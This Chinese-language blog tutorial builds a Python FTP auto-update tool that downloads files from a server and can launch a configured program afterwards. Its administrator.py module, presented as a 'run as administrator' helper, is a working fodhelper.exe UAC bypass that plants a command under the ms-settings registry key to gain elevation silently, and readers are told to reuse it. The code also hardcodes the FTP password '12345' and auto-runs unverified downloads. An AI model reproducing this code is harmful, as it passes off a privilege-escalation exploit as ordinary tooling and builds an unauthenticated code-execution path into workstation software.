ftp客服端实现自动更新文件(带自动启动功能并封装为带配置文件的工具)-python
前言
由于工位机不可能做到实时看守,当更新程序的时候我们还得手动去工位机上安装程序并运行,实属麻烦,因此笔者就研究了一下ftp自动更新并启动程序,最后封装为带一个配置文件的exe,所有人都可以使用的工具。
功能:通过配置文件从ftp服务端更新某个指定文件夹里的所有文件和目录(已经有了的不会下载,只下载更新的),可指定是否启动更新后自启动程序(启动的程序可自定义)功能,
一、项目环境和结构
环境
- python3.7_32位 (anaconda实现)
- 本地模拟ftp服务端(下一篇文章介绍服务器上部署公网ftp服务端)
# -*- coding:utf-8 -*-
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer
# 实例化DummyAuthorizer来创建ftp用户
authorizer = DummyAuthorizer()
# 参数:用户名,密码,目录,权限
authorizer.add_user('admin', '12345', r'E:\project_code\ftp\ftpmyserver\File', perm='elradfmwMT')
# E:\project_code\ftp\ftpmyserver\File
# 匿名登录
# authorizer.add_anonymous('/home/nobody')
handler = FTPHandler
handler.authorizer = authorizer
# #添加被动端口范围
# handler.passive_ports = range(21212, 21213)
# 参数:IP,端口,handler
server = FTPServer(('0.0.0.0', 21), handler) #设置为0.0.0.0为本机的IP地址
server.serve_forever()
结构
-
administrator.py(以管理员身份执行某端代码封装,它是为了我后续自动启动电脑里某个文件的程序时候以管理员去运行,没有这块需求可以去掉,)
-
ftpclient.py
-
configuration.txt (配置文件)
代码
- configuration.txt
HOST = 127.0.0.1 #远程ftp服务器的ip地址
FTPDir = / #需要下载的ftp服务端目录路径
LocalDir = E:\project_code\ftp\ftpclient\down # 本地存贮路径
flag = True #是否需要打开更新后自动启动程序功能
dir = E:\project_code\companyId\dist\start_service.bat #需要自启动的文件路径
- administrator.py
# coding:utf8
# -*- coding: utf-8 -*-
"""
Created on
@author: tql
Function:以管理员身份执行代码块
"""
from __future__ import print_function
import os
import sys
import ctypes
import inspect
if sys.version_info[0] == 3:
import winreg as winreg
else:
import _winreg as winreg
CMD = r"C:\Windows\System32\cmd.exe"
FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD = "python"
REG_PATH = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
def is_admin():
'''
Checks if the script is running with administrative privileges.
Returns True if is running as admin, False otherwise.
'''
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
def create_reg_key(key, value):
'''
Creates a reg key
'''
try:
winreg.CreateKey(winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key = winreg.OpenKey(winreg.HKEY_CURRENT_USER, REG_PATH, 0, winreg.KEY_WRITE)
winreg.SetValueEx(registry_key, key, 0, winreg.REG_SZ, value)
winreg.CloseKey(registry_key)
except WindowsError:
raise
def bypass_uac(cmd):
'''
Tries to bypass the UAC
'''
try:
create_reg_key(DELEGATE_EXEC_REG_KEY, '')
create_reg_key(None, cmd)
except WindowsError:
raise
def execute():
if not is_admin():
print('[!] The script is NOT running with administrative privileges')
print('[+] Trying to bypass the UAC')
try:
current_dir = __file__
cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
bypass_uac(cmd)
os.system(FOD_HELPER)
sys.exit(0)
except WindowsError:
sys.exit(1)
else:
# 这里添加我们需要管理员权限的代码
with open("C:\Windows\System32\configuration.txt", "r", encoding='utf-8') as f: # 设置文件对象
conf = f.readlines()
return conf
def start_file(dir):
if not is_admin():
print('[!] The script is NOT running with administrative privileges')
print('[+] Trying to bypass the UAC')
try:
current_dir = __file__
cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
bypass_uac(cmd)
os.system(FOD_HELPER)
sys.exit(0)
except WindowsError:
sys.exit(1)
else:
# 这里添加我们需要管理员权限的代码
os.startfile(dir)
if __name__ == '__main__':
execute()
- ftpclient.py
# -*- coding: utf-8 -*-
"""
Created on
@author: tql
Function:定时更新ftp服务器中指定目录中的所有文件
"""
import ftplib
import os, sys
import socket
import re
from apscheduler.schedulers.background import BlockingScheduler
def getmyPath():
sap = '/'
if sys.argv[0].find(sap) == -1:
sap = '\\'
indx = sys.argv[0].rfind(sap)
path = sys.argv[0][:indx] + sap
return path
config_valid = {}
lujing = getmyPath()
with open(lujing + "configuration.txt", "r", encoding='utf-8') as f: # 设置文件对象
conf = f.readlines()
for key,line in enumerate(conf):
content = line.split('#', 1)
content[0] = re.sub('\n$', "", content[0]) # 去掉文本里的 #
content[0] = re.sub('\s+', '', content[0]).strip() # 去掉所有空格
if len(content[0])>0:
temp = content[0].split('=',1)
config_valid[temp[0]]=temp[1]
try:
HOST = config_valid["HOST"] # ftp地址
except:
HOST = config_valid["\ufeffHOST"] # ftp地址
# USER = config_valid["USER"] # 用户名
# PASSWD = config_valid["PASSWD"] # 用户密码
USER = "admin" # 用户名
PASSWD = "12345" # 用户密码
LocalDir = config_valid["LocalDir"] # 本地存贮路径
FTPDir = config_valid["FTPDir"] # 需要下载的ftp目录路径
local_fname = 'checkfile.txt' # 用本地存放已下载过的文件名和文件信息
local_files = [] # 存放从checkfile.txt中读回的文件名
appendFiles = [] # 存放服务器上是否有新文件需要更新
def FtpConnect(host, username, passwd):
'''
连接并登录ftp服务器
host:ftp地址
username:用户名
passwd:用户密码
'''
try:
ftp = ftplib.FTP(host)
# ftp.encoding = 'utf-8' #解决中文乱码问题
# ftp.set_debuglevel(0) #不开启调试模式
except (socket.error, socket.gaierror):
print('Error, cannot reach ' + host)
return None
else:
print('Connect To Host Success...')
try:
ftp.login(username, passwd)
except ftplib.error_perm:
print('Username or Passwd Error')
# ftp.quit()
return None
else:
print('Login Success...')
return ftp
def filelist(ftp):
'''
获取ftp当前目录下的所有文件及目录信息
'''
flist = []
ftp.dir('.', flist.append) # 将目录中的内容存进flist列表
files = [f.split()[-1] for f in flist if f.startswith('-')] # 读取flist列表中的信息,以-开头的是常规文件,将该信息以空字符分割成列表,取最后的元素即为文件名
fids = [f.split(None, 4)[-1] for f in flist if f.startswith('-')] # 读取flist列表中的信息,以-开头的是常规文件,将该信息以前4个空字符分割成列表,
# 最后的元素包括了文件的大小,修改日期时间,可作为文件的标识
dictf = dict(zip(files, fids)) # 将文件名与对应的标识合成字典
dirs = [f.split()[-1] for f in flist if f.startswith('d')] # 读取flist列表中的信息,以d开头的是目录,将该信息以空字符分割成列表,取最后的元素即为目录名
# print(dirs)
return (dictf, dirs)
def FtpDownloadDir(ftp, ftp_dir, local_dir):
'''
递归下载ftp指定目录下的所有文件及目录
'''
print(f'Walking to {ftp_dir}')
print(f'Walking to {local_dir}')
if ftp_dir == "/":
dirname = "AllDir" # 用于本地创建新目录,如果下载的是FTP根目录,则在目录名为AllDir
else:
dirname = os.path.basename(ftp_dir) # 否则本地目录名与FTP目录名一样
ftp.cwd(ftp_dir) # 进入ftp对应目录
os.chdir(local_dir) # 进入本地下载目录
if os.path.exists(dirname): # 如果本地dirname目录已存在
os.chdir(dirname) # 则直接进入该目录
else:
try:
os.mkdir(dirname) # 否则在本地创建该目录
except OSError:
print('OSError!')
else:
os.chdir(dirname) # 创建完后进入该目录
ftp_curr_dir = ftp.pwd() # 获取FTP当前目录路径
local_curr_dir = os.getcwd() # 获取本地当前目录路径
# print(f'Changing to {ftp_curr_dir}')
# print(f'Changing to {local_curr_dir}')
dictf, dirs = filelist(ftp) # 调用filelist函数,递归ftp当前目录下的所有文件及目录
for f, k in dictf.items(): # 获取到的文件信息的键值对
# print(k.split(' ')[-1])
if k not in local_files: # 文件标识与本地存储的已下载过的文件标识做对比
FtpDownloadFile(ftp, f, f) # k不在local_files中说明该文件未下载过,则下载该文件
appendFiles.append(k) # 同时将该文件的标识存储到appenFiles列表中,用于下载完成后更新本地的checkfile.txt文件
for d in dirs: # 对子目录进行处理
FtpDownloadDir(ftp, d, local_curr_dir) # 调用自身,递归下载子目录中的文件
ftp.cwd('..')
os.chdir('..') # 每次递归完成后,ftp及本地都返回上一层目录,继续其他子目录的处理
os.chdir(local_dir)
def FtpDownloadFile(ftp, remotefile, localfile):
'''
下载ftp当前目录的文件到本地的当前目录中
'''
buffer_size = 10240 # 默认是8192
try:
f = open(localfile, 'wb')
ftp.retrbinary(f'RETR {remotefile}', f.write, buffer_size)
except ftplib.error_perm:
print(f'File:{f} Download Error')
# os.unlink(localpath)
else:
print(f'File:{f} Download Success...')
finally:
f.close()
def operfile(ftp,fileTxt, op):
'''
操作下载目录中的文件
op为'r'时读取该文件,如文件不存在则忽略
op为'w'时追加写入文件
'''
fp = os.path.join(LocalDir, fileTxt)
if op == 'r':
print(f'从 {fp} 中读取本地文件列表')
try:
with open(fp, 'r')as ft:
for line in ft:
line = line.strip()
local_files.append(line)
except Exception as e:
print(e)
elif op == 'w':
print(f'更新 {fileTxt} 中文件列表')
try:
file = open(fp, 'w').close() # 先清除掉checkfile文本里的内容
get_all_file(ftp, FTPDir, fp)
# for f, k in dictf.items(): # 获取到的文件信息的键值对
# with open(fp, 'a') as ft:
# ft.writelines([f'{k}\n'])
# for d in dirs: # 对子目录进行处理
# ftp.cwd(d) # 进入ftp对应目录
# dictf, dirs = filelist(ftp) # 调用filelist函数,递归ftp当前目录下的所有文件及目录
# for f, k in dictf.items(): # 获取到的文件信息的键值对
# with open(fp, 'a') as ft:
# ft.writelines([f'{k}\n'])
except Exception as e:
print(e)
def get_all_file(ftp, ftp_dir, fp):
'''
获取当前目录下所有的文件和子目录下所有文件的信息并存入checkfile
'''
ftp.cwd(ftp_dir) # 进入ftp对应目录
dictf, dirs = filelist(ftp) # 调用filelist函数,递归ftp当前目录下的所有文件及目录
for f, k in dictf.items(): # 获取到的文件信息的键值对
with open(fp, 'a') as ft:
ft.writelines([f'{k}\n'])
for d in dirs: # 对子目录进行处理
get_all_file(ftp, d, fp)
ftp.cwd('..') # ftp返回上一级
def ftpmain():
global appendFiles
ftp = FtpConnect(HOST, USER, PASSWD) # 连接并登录ftp服务器
if ftp: # 如果登录成功
operfile(ftp,local_fname, 'r') # 从checkfile.txt中获取已下载过的文件
FtpDownloadDir(ftp, FTPDir, LocalDir) # 将ftp指定目录下的文件更新到本地目录中
# if config_valid["flag"] == "1": # 判断是否启动更新重启功能
# for i in range(len(appendFiles)):
# if appendFiles[i].split(' ')[-1] == config_valid["dir"].split("\\")[-1]: # config_valid["dir"].split("\\")[-1] 表示文件名,如果这个文件更新了就重新运行
# os.system("start explorer " + config_valid["dir"])
if appendFiles: # 如果有新文件更新到本地
operfile(ftp, local_fname, 'w') # 则将其追加到checkfile.txt中
if config_valid["flag"]: # 判断是否启动更新重启功能
os.startfile(config_valid["dir"]) # 以管理员身份运行程序
appendFiles = [] # 清空列表
else:
print(f'无需更新{local_fname}')
ftp.quit()
def timer():
scheduler = BlockingScheduler()
scheduler.add_job(ftpmain, 'cron', hour='*/1', misfire_grace_time=300)
scheduler.start()
if __name__ == '__main__':
# timer() #定时执行,如每小时执行一次
ftpmain() #手动执行,只执行一次
二、使用介绍
先配置configurantion.txt文件(注意配置文件必须和程序放在同目录下,否则读不到配置文件里的信息),用户名和密码也可以放到配置文件里,笔者自己的需求是把用户名和密码封装到程序里了,读者可自行调整,
在ftpclient.py里第47行把下面代码注释掉然后打开上面2行,然后在配置文件里面添加对应数据就好了,flag为自启动功能,不用可以设置false(或者0和1),dir配置自启动的文件或者程序,可以是打开记事本来测试一下。
讲完配置文件来到我们的ftpclient.py,程序里的代码其实没必要深究,我已经给你们写好了,只需要看主程序使用就好了,主程序有2个,ftpmain函数和timer函数,ftpmain函数是只运行一次,timer函数是定时任务的意思,间隔可以自己调,具体需求读者需要使用哪个函数。
最后到administrator.py,这是一个获取管理员权限然后去执行代码,我们只需要去里面加上我们想要执行的代码即可
这里是以管理员权限打开dir文件,然后在ftpclient.py里去调用该函数即可
以上就是所有代码执行流程,是不是很简单呢。
三、程序封装和注册服务
为了任何工位机上都可以使用该工具,所以前面笔者用了32位的python环境,然后打包封装成32位的exe可执行文件,为了方便,笔者也封装了注册服务自启动脚本。
具体方法详见我的博客:
pyinstaller打包和注册服务脚本
最后项目展示:
四、填坑(希望读者能用到)
- 配置文件txt里的每行数据处理,需要处理文本里的注释和空格
-
程序里读取配置文件的路径一定要写相对路径,不要写绝对路径,绝对路径在打包后注册位服务运行的时候是读不到文本的,请读者使用一下函数去读取exe所在的路径,然后把配置文件和exe放到同目录下即可
- 读文本的时候是utf-8格式,但是有些win7的电脑是utf-8 bom 格式,导致读取配置文件里的数据不对,utf-8 bom格式读出来起始数据会多一个\ufeff,笔者在这里写了异常来处理此问题
- 自启动的程序如果是需要权限的,比如c盘的文件或者注册服务脚本程序什么的,就需要把代码块放到administrator.py里,然后在去调用
总结
虽然过程十分艰难,但在填了很多坑以后,还是顺利达到了最终目的,经过测试以后,已经投入使用!